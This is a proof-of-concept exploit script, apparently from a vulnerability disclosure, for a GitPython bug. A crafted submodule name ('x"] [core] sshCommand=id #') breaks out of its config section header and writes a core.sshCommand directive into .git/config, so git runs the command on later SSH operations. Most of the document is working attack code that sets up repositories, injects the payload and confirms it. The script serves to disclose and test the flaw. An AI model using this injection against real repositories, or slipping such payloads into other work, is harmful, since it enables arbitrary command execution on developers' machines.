GitPython: git-config section-name injection leads to core.sshCommand RCE

import git, tempfile, os, subprocess

# Craft the malicious submodule name.
# The wrapper in sm_section() produces: submodule "<name>"
# so the closing quote is already there; we just need to close the bracket.
evil_name = 'x"] [core] sshCommand=id #'

tmp = tempfile.mkdtemp()
env = {**os.environ,
       "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"),
       "GIT_CONFIG_SYSTEM": "/dev/null",
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# Build a bare repo to use as the submodule URL (no network needed).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git")
run("git", "clone", "-q", "--bare", src, suburl)

# Create the victim parent repo.
parent = tempfile.mkdtemp(dir=tmp)
run("git", "init", "-q", parent)
open(os.path.join(parent, "r"), "w").write("x")
run("git", "add", "r", cwd=parent); run("git", "commit", "-qm", "i", cwd=parent)

# This single call writes the injected header into .git/config.
git.Repo(parent).create_submodule(name=evil_name, path="sub", url=suburl)

cfg = open(os.path.join(parent, ".git", "config")).read()
print("--- .git/config (injected section) ---")
for line in cfg.splitlines():
    if "submodule" in line or "sshCommand" in line:
        print(line)

# Verify git sees core.sshCommand.
r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
        "--get", "core.sshCommand")
print("core.sshCommand:", r.stdout.strip())
# On the next `git fetch/pull/push` over SSH git would execute that command.

# Written header looks like:
# [submodule "x"] [core] sshCommand=id #"]
# Git parses [core] sshCommand=id as a real directive; '#"] is an inline comment.